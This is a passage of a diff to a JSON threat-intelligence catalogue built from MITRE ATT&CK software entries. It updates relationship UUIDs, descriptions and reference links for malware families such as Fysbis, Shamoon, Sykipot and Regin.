"d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5451,7 +6341,7 @@ "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5472,7 +6362,7 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5486,7 +6376,7 @@ "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "d467bc38-284b-4a00-96ac-125f447799fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5611,7 +6501,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5625,7 +6515,7 @@ "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5646,14 +6536,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5680,13 +6570,6 @@ ], "type": "uses" }, - { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ @@ -5694,13 +6577,6 @@ ], "type": "uses" }, - { - "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -5709,7 +6585,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5723,14 +6599,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5744,7 +6613,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5765,7 +6634,28 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5792,21 +6682,14 @@ }, "related": [ { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5820,7 +6703,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5834,14 +6717,14 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5867,13 +6750,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "50d6688b-0985-4f3d-8cbe-0c796b30703b", "value": "Fysbis - S0410" }, { - "description": "[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)", "meta": { "external_id": "S0140", "mitre_platforms": [ @@ -5900,21 +6797,21 @@ "type": "similar" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5928,14 +6825,14 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5963,21 +6860,14 @@ "type": "uses" }, { - "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5998,7 +6888,7 @@ "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6033,7 +6923,42 @@ "type": "uses" }, { - "dest-uuid": "2e114e45-2c50-404c-804a-3af9564d240e", + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6094,14 +7019,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6149,14 +7074,14 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6177,21 +7102,21 @@ "type": "uses" }, { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6218,7 +7143,7 @@ }, "related": [ { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6274,35 +7199,35 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6316,7 +7241,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6351,7 +7276,7 @@ }, "related": [ { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6421,21 +7346,21 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6504,7 +7429,7 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6518,35 +7443,35 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6560,21 +7485,21 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6588,7 +7513,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6602,21 +7527,35 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6650,14 +7589,14 @@ "type": "similar" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6701,14 +7640,14 @@ "type": "similar" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6722,14 +7661,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6743,14 +7682,14 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6764,14 +7703,14 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6799,7 +7738,7 @@ "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6813,21 +7752,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6846,8 +7785,8 @@ ], "refs": [ "https://attack.mitre.org/software/S0018", - "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments", - "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards", + "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" ], "synonyms": [ "Sykipot" @@ -6862,14 +7801,14 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6890,7 +7829,7 @@ "type": "uses" }, { - "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6911,14 +7850,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7003,14 +7942,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7024,7 +7956,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7045,7 +7977,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7087,7 +8019,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7108,14 +8040,14 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7160,7 +8092,7 @@ "type": "similar" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7195,7 +8127,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7209,7 +8141,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7223,14 +8155,14 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7244,7 +8176,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7258,14 +8190,14 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7286,7 +8218,7 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7300,7 +8232,7 @@ "type": "uses" }, { - "dest-uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "dest-uuid": "0042a9f5-f053-4769-b3ef-9ad018dfa298", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7319,7 +8251,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0019", - "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" ], "synonyms": [ "Regin" @@ -7341,7 +8273,7 @@ "type": "similar" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7355,7 +8287,7 @@ "type": "uses" }, { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7376,7 +8308,7 @@ "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ 